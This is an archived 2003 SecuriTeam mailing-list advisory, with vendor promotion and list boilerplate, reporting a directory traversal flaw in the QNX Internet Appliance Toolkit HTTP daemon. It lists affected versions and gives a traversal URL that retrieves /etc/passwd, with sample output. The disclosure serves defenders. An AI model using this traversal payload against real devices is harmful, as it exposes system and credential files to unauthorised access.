

[NEWS] Local File Retrieving in QNX Internet Appliance Toolkit http-daemon

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0078.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/23/03

To: list@securiteam.com

Date: 23 Jun 2003 10:06:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Local File Retrieving in QNX Internet Appliance Toolkit http-daemon

SUMMARY

QNX <<http://www.qnx.com/products/iat.html>> Internet Appliance Toolkit is "the one-stop solution that lets you build the Internet into smart phones, set-top boxes, kiosks, printers, photocopiers, PLCs, network PCs – you name it!". A vulnerability in its web servers allows remote attackers to cause the product to allow downloading of files that reside outside the bounding HTTP root directory.

DETAILS

Vulnerable systems:

- * QNX Internet Appliance Toolkit version 1.1
- * QNX Internet Appliance Toolkit (Modem) version 3.03
- * QNX Internet Appliance Toolkit (Network) version 4.00
- * QNX Internet Appliance Toolkit (Network) version 4.05
- * QNX Internet Appliance Toolkit (Modem) version 4.05

Securiteam: [NEWS] Local File Retrieving in QNX Internet Appliance Toolkit http-daemon

The document-root of the webserver is /usr/httpd, therefore if you type this URL in the webbrowser:

<http://127.1/../../../../etc/passwd>

You'll see the /etc/passwd:

root::0:0:/usr/httpd:/bin/sh

bin::1:0:/bin:

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@astrobox.net>
Michael Bemmerl.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.